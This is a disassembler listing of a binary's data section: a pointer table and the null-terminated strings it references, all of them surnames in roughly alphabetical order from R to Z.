dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: .XPack0:00431420o
align 10h
aZwiers db 'Zwiers',0 ; DATA XREF: .XPack0:0043141Co
align 4
aZurn db 'Zurn',0 ; DATA XREF: .XPack0:00431418o
align 10h
aZucconi db 'Zucconi',0 ; DATA XREF: .XPack0:00431414o
aZoldak db 'Zoldak',0 ; DATA XREF: .XPack0:00431410o
align 10h
aZerbini db 'Zerbini',0 ; DATA XREF: .XPack0:0043140Co
aZegans db 'Zegans',0 ; DATA XREF: .XPack0:00431408o
align 10h
aZangwill db 'Zangwill',0 ; DATA XREF: .XPack0:00431404o
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: .XPack0:00431400o
align 4
aZachary db 'Zachary',0 ; DATA XREF: .XPack0:004313FCo
aYu db 'Yu',0 ; DATA XREF: .XPack0:004313F8o
align 10h
aYoukSee db 'Youk-See',0 ; DATA XREF: .XPack0:004313F4o
align 4
aYoo db 'Yoo',0 ; DATA XREF: .XPack0:004313F0o
aYoffe db 'Yoffe',0 ; DATA XREF: .XPack0:004313ECo
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: .XPack0:004313E8o
align 10h
aYesson db 'Yesson',0 ; DATA XREF: .XPack0:004313E4o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: .XPack0:004313E0o
aYbarra db 'Ybarra',0 ; DATA XREF: .XPack0:004313DCo
align 4
aYates db 'Yates',0 ; DATA XREF: .XPack0:004313D8o
align 10h
aYarchuk db 'Yarchuk',0 ; DATA XREF: .XPack0:004313D4o
aYankee db 'Yankee',0 ; DATA XREF: .XPack0:004313D0o
align 10h
aYamane db 'Yamane',0 ; DATA XREF: .XPack0:004313CCo
align 4
aYacono db 'Yacono',0 ; DATA XREF: .XPack0:004313C8o
align 10h
aVotey db 'Votey',0 ; DATA XREF: .XPack0:004313C4o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: .XPack0:004313C0o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .XPack0:004313BCo
align 10h
aWoods db 'Woods',0 ; DATA XREF: .XPack0:004313B8o
align 4
aWooden db 'Wooden',0 ; DATA XREF: .XPack0:004313B4o
align 10h
aWoo db 'Woo',0 ; DATA XREF: .XPack0:004313B0o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .XPack0:004313ACo
align 10h
aWolk db 'Wolk',0 ; DATA XREF: .XPack0:004313A8o
align 4
aVoigt db 'Voigt',0 ; DATA XREF: .XPack0:004313A4o
align 10h
aViviani db 'Viviani',0 ; DATA XREF: .XPack0:004313A0o
aVitali db 'Vitali',0 ; DATA XREF: .XPack0:0043139Co
align 10h
aWilson db 'Wilson',0 ; DATA XREF: .XPack0:00431398o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: .XPack0:00431394o
aVillarreal db 'Villarreal',0 ; DATA XREF: .XPack0:00431390o
align 10h
aWilkinson db 'Wilkinson',0 ; DATA XREF: .XPack0:0043138Co
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: .XPack0:00431388o
align 4
aWilk db 'Wilk',0 ; DATA XREF: .XPack0:00431384o
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: .XPack0:00431380o
aWilder db 'Wilder',0 ; DATA XREF: .XPack0:0043137Co
align 4
aVignola db 'Vignola',0 ; DATA XREF: .XPack0:00431378o
aViens db 'Viens',0 ; DATA XREF: .XPack0:00431374o
align 4
aWiener db 'Wiener',0 ; DATA XREF: .XPack0:00431370o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .XPack0:0043136Co
aViano db 'Viano',0 ; DATA XREF: .XPack0:00431368o
align 4
aViana db 'Viana',0 ; DATA XREF: .XPack0:00431364o
align 10h
aWhittaker db 'Whittaker',0 ; DATA XREF: .XPack0:00431360o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: .XPack0:0043135Co
align 4
aWhite db 'White',0 ; DATA XREF: .XPack0:00431358o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: .XPack0:00431354o
aWhately db 'Whately',0 ; DATA XREF: .XPack0:00431350o
aWetzel db 'Wetzel',0 ; DATA XREF: .XPack0:0043134Co
align 4
aWescott db 'Wescott',0 ; DATA XREF: .XPack0:00431348o
aVerghese db 'Verghese',0 ; DATA XREF: .XPack0:00431344o
align 4
aVenne db 'Venne',0 ; DATA XREF: .XPack0:00431340o
align 10h
aWengret db 'Wengret',0 ; DATA XREF: .XPack0:0043133Co
aWelsh db 'Welsh',0 ; DATA XREF: .XPack0:00431338o
align 10h
aWelles db 'Welles',0 ; DATA XREF: .XPack0:00431334o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: .XPack0:00431330o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .XPack0:0043132Co
align 10h
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .XPack0:00431328o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .XPack0:00431324o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: .XPack0:00431320o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: .XPack0:0043131Co
align 10h
aWaugh db 'Waugh',0 ; DATA XREF: .XPack0:00431318o
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: .XPack0:00431314o
aWasowska db 'Wasowska',0 ; DATA XREF: .XPack0:00431310o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .XPack0:0043130Co
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .XPack0:00431308o
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: .XPack0:00431304o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: .XPack0:00431300o
aVanallen db 'vanAllen',0 ; DATA XREF: .XPack0:004312FCo
align 4
aWalter db 'Walter',0 ; DATA XREF: .XPack0:004312F8o
align 10h
aWallenberg db 'Wallenberg',0 ; DATA XREF: .XPack0:004312F4o
align 4
aWales db 'Wales',0 ; DATA XREF: .XPack0:004312F0o
align 4
aValencia db 'Valencia',0 ; DATA XREF: .XPack0:004312ECo
align 10h
aValberg db 'Valberg',0 ; DATA XREF: .XPack0:004312E8o
aWaite db 'Waite',0 ; DATA XREF: .XPack0:004312E4o
align 10h
aVacca db 'Vacca',0 ; DATA XREF: .XPack0:004312E0o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: .XPack0:004312DCo
align 10h
aUsdan db 'Usdan',0 ; DATA XREF: .XPack0:004312D8o
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .XPack0:004312D4o
align 4
aUrban db 'Urban',0 ; DATA XREF: .XPack0:004312D0o
align 10h
aUpsdell db 'Upsdell',0 ; DATA XREF: .XPack0:004312CCo
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .XPack0:004312C8o
align 4
aUllman db 'Ullman',0 ; DATA XREF: .XPack0:004312C4o
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: .XPack0:004312C0o
align 4
aTwells db 'Twells',0 ; DATA XREF: .XPack0:004312BCo
align 10h
aTuttle db 'Tuttle',0 ; DATA XREF: .XPack0:004312B8o
align 4
aTurek db 'Turek',0 ; DATA XREF: .XPack0:004312B4o
align 10h
aTurano db 'Turano',0 ; DATA XREF: .XPack0:004312B0o
align 4
aTukan db 'Tukan',0 ; DATA XREF: .XPack0:004312ACo
align 10h
aTudge db 'Tudge',0 ; DATA XREF: .XPack0:004312A8o
align 4
aTuck db 'Tuck',0 ; DATA XREF: .XPack0:004312A4o
align 10h
aTsukurov db 'Tsukurov',0 ; DATA XREF: .XPack0:004312A0o
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: .XPack0:0043129Co
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: .XPack0:00431298o
aTruss db 'Truss',0 ; DATA XREF: .XPack0:00431294o
align 4
aTroy db 'Troy',0 ; DATA XREF: .XPack0:00431290o
align 10h
aTroiani db 'Troiani',0 ; DATA XREF: .XPack0:0043128Co
aTringali db 'Tringali',0 ; DATA XREF: .XPack0:00431288o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: .XPack0:00431284o
align 4
aTrenga db 'Trenga',0 ; DATA XREF: .XPack0:00431280o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .XPack0:0043127Co
align 10h
aToye db 'Toye',0 ; DATA XREF: .XPack0:00431278o
align 4
aTowler db 'Towler',0 ; DATA XREF: .XPack0:00431274o
align 10h
aTorske db 'Torske',0 ; DATA XREF: .XPack0:00431270o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: .XPack0:0043126Co
aTopulos db 'Topulos',0 ; DATA XREF: .XPack0:00431268o
aToomer db 'Toomer',0 ; DATA XREF: .XPack0:00431264o
align 10h
aTomford db 'Tomford',0 ; DATA XREF: .XPack0:00431260o
aTolman db 'Tolman',0 ; DATA XREF: .XPack0:0043125Co
align 10h
aTolls db 'Tolls',0 ; DATA XREF: .XPack0:00431258o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: .XPack0:00431254o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: .XPack0:00431250o
align 10h
aTimmons db 'Timmons',0 ; DATA XREF: .XPack0:0043124Co
aTill db 'Till',0 ; DATA XREF: .XPack0:00431248o
align 10h
aTierney db 'Tierney',0 ; DATA XREF: .XPack0:00431244o
aThroop db 'Throop',0 ; DATA XREF: .XPack0:00431240o
align 10h
aThomsen db 'Thomsen',0 ; DATA XREF: .XPack0:0043123Co
aThisted db 'Thisted',0 ; DATA XREF: .XPack0:00431238o
aThibault db 'Thibault',0 ; DATA XREF: .XPack0:00431234o
align 4
aTheodos db 'Theodos',0 ; DATA XREF: .XPack0:00431230o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .XPack0:0043122Co
align 4
aThan db 'Than',0 ; DATA XREF: .XPack0:00431228o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: .XPack0:00431224o
align 4
aTenney db 'Tenney',0 ; DATA XREF: .XPack0:00431220o
align 10h
aTemmer db 'Temmer',0 ; DATA XREF: .XPack0:0043121Co
align 4
aTemes db 'Temes',0 ; DATA XREF: .XPack0:00431218o
align 10h
aTeague db 'Teague',0 ; DATA XREF: .XPack0:00431214o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .XPack0:00431210o
align 4
aTawn db 'Tawn',0 ; DATA XREF: .XPack0:0043120Co
align 4
aTaveras db 'Taveras',0 ; DATA XREF: .XPack0:00431208o
aTatar db 'Tatar',0 ; DATA XREF: .XPack0:00431204o
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: .XPack0:00431200o
align 4
aTandler db 'Tandler',0 ; DATA XREF: .XPack0:004311FCo
aTambiah db 'Tambiah',0 ; DATA XREF: .XPack0:004311F8o
aTalaugon db 'Talaugon',0 ; DATA XREF: .XPack0:004311F4o
align 4
aTai db 'Tai',0 ; DATA XREF: .XPack0:004311F0o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .XPack0:004311ECo
aSwindle db 'Swindle',0 ; DATA XREF: .XPack0:004311E8o
aSweetser db 'Sweetser',0 ; DATA XREF: .XPack0:004311E4o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .XPack0:004311E0o
align 10h
aSurdam db 'Surdam',0 ; DATA XREF: .XPack0:004311DCo
align 4
aSuo db 'Suo',0 ; DATA XREF: .XPack0:004311D8o
aSumner db 'Sumner',0 ; DATA XREF: .XPack0:004311D4o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .XPack0:004311D0o
align 10h
aStringer db 'Stringer',0 ; DATA XREF: .XPack0:004311CCo
align 4
aStreiff db 'Streiff',0 ; DATA XREF: .XPack0:004311C8o
aStrauch db 'Strauch',0 ; DATA XREF: .XPack0:004311C4o
aStrange db 'Strange',0 ; DATA XREF: .XPack0:004311C0o
aStott db 'Stott',0 ; DATA XREF: .XPack0:004311BCo
align 4
aStorer db 'Storer',0 ; DATA XREF: .XPack0:004311B8o
align 4
aStonich db 'Stonich',0 ; DATA XREF: .XPack0:004311B4o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .XPack0:004311B0o
aStockwell db 'Stockwell',0 ; DATA XREF: .XPack0:004311ACo
align 4
aStockton db 'Stockton',0 ; DATA XREF: .XPack0:004311A8o
align 10h
aStock db 'Stock',0 ; DATA XREF: .XPack0:004311A4o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: .XPack0:004311A0o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .XPack0:0043119Co
align 10h
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .XPack0:00431198o
align 10h
aStepniewska db 'Stepniewska',0 ; DATA XREF: .XPack0:00431194o
aStephanian db 'Stephanian',0 ; DATA XREF: .XPack0:00431190o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: .XPack0:0043118Co
aStefani db 'Stefani',0 ; DATA XREF: .XPack0:00431188o
aStatlender db 'Statlender',0 ; DATA XREF: .XPack0:00431184o
align 4
aStates db 'States',0 ; DATA XREF: .XPack0:00431180o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .XPack0:0043117Co
align 4
aStang db 'Stang',0 ; DATA XREF: .XPack0:00431178o
align 4
aStam db 'Stam',0 ; DATA XREF: .XPack0:00431174o
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: .XPack0:00431170o
aStmartin db 'StMartin',0 ; DATA XREF: .XPack0:0043116Co
align 10h
aSpinrad db 'Spinrad',0 ; DATA XREF: .XPack0:00431168o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .XPack0:00431164o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .XPack0:00431160o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: .XPack0:0043115Co
align 4
aSperber db 'Sperber',0 ; DATA XREF: .XPack0:00431158o
aSpence db 'Spence',0 ; DATA XREF: .XPack0:00431154o
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: .XPack0:00431150o
aSpaulding db 'Spaulding',0 ; DATA XREF: .XPack0:0043114Co
align 10h
aSparrow db 'Sparrow',0 ; DATA XREF: .XPack0:00431148o
aSpanier db 'Spanier',0 ; DATA XREF: .XPack0:00431144o
aSoultanian db 'Soultanian',0 ; DATA XREF: .XPack0:00431140o
align 4
aSoule db 'Soule',0 ; DATA XREF: .XPack0:0043113Co
align 4
aSoukup db 'Soukup',0 ; DATA XREF: .XPack0:00431138o
align 4
aSottak db 'Sottak',0 ; DATA XREF: .XPack0:00431134o
align 4
aSorg db 'Sorg',0 ; DATA XREF: .XPack0:00431130o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: .XPack0:0043112Co
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: .XPack0:00431128o
align 4
aSomers db 'Somers',0 ; DATA XREF: .XPack0:00431124o
align 4
aSolon db 'Solon',0 ; DATA XREF: .XPack0:00431120o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: .XPack0:0043111Co
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .XPack0:00431118o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: .XPack0:00431114o
aSmilow db 'Smilow',0 ; DATA XREF: .XPack0:00431110o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: .XPack0:0043110Co
align 10h
aSloan db 'Sloan',0 ; DATA XREF: .XPack0:00431108o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: .XPack0:00431104o
align 10h
aSkerry db 'Skerry',0 ; DATA XREF: .XPack0:00431100o
align 4
aSkane db 'Skane',0 ; DATA XREF: .XPack0:004310FCo
align 10h
aSites db 'Sites',0 ; DATA XREF: .XPack0:004310F8o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: .XPack0:004310F4o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .XPack0:004310F0o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: .XPack0:004310ECo
align 4
aSilverman db 'Silverman',0 ; DATA XREF: .XPack0:004310E8o
align 4
aSigna db 'Signa',0 ; DATA XREF: .XPack0:004310E4o
align 4
aSigini db 'Sigini',0 ; DATA XREF: .XPack0:004310E0o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: .XPack0:004310DCo
aSiesto db 'Siesto',0 ; DATA XREF: .XPack0:004310D8o
align 4
aShimon db 'Shimon',0 ; DATA XREF: .XPack0:004310D4o
align 4
aShibata db 'Shibata',0 ; DATA XREF: .XPack0:004310D0o
aShia db 'Shia',0 ; DATA XREF: .XPack0:004310CCo
align 4
aShesko db 'Shesko',0 ; DATA XREF: .XPack0:004310C8o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .XPack0:004310C4o
align 10h
aSheppard db 'Sheppard',0 ; DATA XREF: .XPack0:004310C0o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: .XPack0:004310BCo
align 4
aSheats db 'Sheats',0 ; DATA XREF: .XPack0:004310B8o
align 10h
aShea db 'Shea',0 ; DATA XREF: .XPack0:004310B4o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: .XPack0:004310B0o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: .XPack0:004310ACo
aShar db 'Shar',0 ; DATA XREF: .XPack0:004310A8o
align 4
aShanley db 'Shanley',0 ; DATA XREF: .XPack0:004310A4o
aShankland db 'Shankland',0 ; DATA XREF: .XPack0:004310A0o
align 4
aShakis db 'Shakis',0 ; DATA XREF: .XPack0:0043109Co
align 10h
aShaikh db 'Shaikh',0 ; DATA XREF: .XPack0:00431098o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: .XPack0:00431094o
aSexton db 'Sexton',0 ; DATA XREF: .XPack0:00431090o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .XPack0:0043108Co
align 4
aSennett db 'Sennett',0 ; DATA XREF: .XPack0:00431088o
aSen db 'Sen',0 ; DATA XREF: .XPack0:00431084o
aSelvage db 'Selvage',0 ; DATA XREF: .XPack0:00431080o
aSekler db 'Sekler',0 ; DATA XREF: .XPack0:0043107Co
align 10h
aSegal db 'Segal',0 ; DATA XREF: .XPack0:00431078o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: .XPack0:00431074o
align 10h
aSeaton db 'Seaton',0 ; DATA XREF: .XPack0:00431070o
align 4
aScudder db 'Scudder',0 ; DATA XREF: .XPack0:0043106Co
aScovel db 'Scovel',0 ; DATA XREF: .XPack0:00431068o
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .XPack0:00431064o
aSchwan db 'Schwan',0 ; DATA XREF: .XPack0:00431060o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: .XPack0:0043105Co
align 4
aSchutte db 'Schutte',0 ; DATA XREF: .XPack0:00431058o
aSchuman db 'Schuman',0 ; DATA XREF: .XPack0:00431054o
aSchossberger db 'Schossberger',0 ; DATA XREF: .XPack0:00431050o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: .XPack0:0043104Co
aSchilling db 'Schilling',0 ; DATA XREF: .XPack0:00431048o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: .XPack0:00431044o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: .XPack0:00431040o
aScheiner db 'Scheiner',0 ; DATA XREF: .XPack0:0043103Co
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: .XPack0:00431038o
aScharf db 'Scharf',0 ; DATA XREF: .XPack0:00431034o
align 10h
aScepan db 'Scepan',0 ; DATA XREF: .XPack0:00431030o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: .XPack0:0043102Co
align 4
aSayied db 'Sayied',0 ; DATA XREF: .XPack0:00431028o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: .XPack0:00431024o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .XPack0:00431020o
align 4
aSatta db 'Satta',0 ; DATA XREF: .XPack0:0043101Co
align 4
aSatin db 'Satin',0 ; DATA XREF: .XPack0:00431018o
align 4
aSase db 'Sase',0 ; DATA XREF: .XPack0:00431014o
align 4
aSartore db 'Sartore',0 ; DATA XREF: .XPack0:00431010o
aSarin db 'Sarin',0 ; DATA XREF: .XPack0:0043100Co
align 4
aSapers db 'Sapers',0 ; DATA XREF: .XPack0:00431008o
align 4
aSanna db 'Sanna',0 ; DATA XREF: .XPack0:00431004o
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .XPack0:00431000o
aSamson db 'Samson',0 ; DATA XREF: .XPack0:00430FFCo
align 4
aSali db 'Sali',0 ; DATA XREF: .XPack0:00430FF8o
align 4
aSahu db 'Sahu',0 ; DATA XREF: .XPack0:00430FF4o
align 4
aSafire db 'Safire',0 ; DATA XREF: .XPack0:00430FF0o
align 4
aSadler db 'Sadler',0 ; DATA XREF: .XPack0:00430FECo
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: .XPack0:00430FE8o
align 10h
aRyu db 'Ryu',0 ; DATA XREF: .XPack0:00430FE4o
aRush db 'Rush',0 ; DATA XREF: .XPack0:00430FE0o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: .XPack0:00430FDCo
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: .XPack0:00430FD8o
align 4
aRuan db 'Ruan',0 ; DATA XREF: .XPack0:00430FD4o
align 4
aRu db 'Ru',0 ; DATA XREF: .XPack0:00430FD0o
align 10h
aRoyal db 'Royal',0 ; DATA XREF: .XPack0:00430FCCo
align 4
aRow db 'Row',0 ; DATA XREF: .XPack0:00430FC8o
aRonen db 'Ronen',0 ; DATA XREF: .XPack0:00430FC4o
align 4
aRogers db 'Rogers',0 ; DATA XREF: .XPack0:00430FC0o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: .XPack0:00430FBCo
aRocha db 'Rocha',0 ; DATA XREF: .XPack0:00430FB8o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: .XPack0:00430FB4o
align 4
aRivera db 'Rivera',0 ; DATA XREF: .XPack0:00430FB0o
align 10h
aRish db 'Rish',0 ; DATA XREF: .XPack0:00430FACo
align 4
aRineer db 'Rineer',0 ; DATA XREF: .XPack0:00430FA8o
align 10h
aRindos db 'Rindos',0 ; DATA XREF: .XPack0:00430FA4o
align 4
aRielly db 'Rielly',0 ; DATA XREF: .XPack0:00430FA0o
align 10h
aRichmond db 'Richmond',0 ; DATA XREF: .XPack0:00430F9Co
align 4
aRhea db 'Rhea',0 ; DATA XREF: .XPack0:00430F98o
align 4
aResnik db 'Resnik',0 ; DATA XREF: .XPack0:00430F94o
align 4
aRepetto db 'Repetto',0 ; DATA XREF: .XPack0:00430F90o
aRenick db 'Renick',0 ; DATA XREF: .XPack0:00430F8Co
align 4
aRemak db 'Remak',0 ; DATA XREF: .XPack0:00430F88o
align 4
aReinold db 'Reinold',0 ; DATA XREF: .XPack0:00430F84o
aCunningham db 'Cunningham',0 ; DATA XREF: .XPack0:00430F80o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: .XPack0:00430F7Co
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .XPack0:00430F78o
align 4
aRayport db 'Rayport',0 ; DATA XREF: .XPack0:00430F74o
aRapple db 'Rapple',0 ; DATA XREF: .XPack0:00430F70o
align 4
aRankin db 'Rankin',0 ; DATA XREF: .XPack0:00430F6Co
align 4
aRangan db 'Rangan',0 ; DATA XREF: .XPack0:00430F68o
align 4
aRaney db 'Raney',0 ; DATA XREF: .XPack0:00430F64o
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .XPack0:00430F60o
aRadeke db 'Radeke',0 ; DATA XREF: .XPack0:00430F5Co
align 10h
aRabkin db 'Rabkin',0 ; DATA XREF: .XPack0:00430F58o
align 4
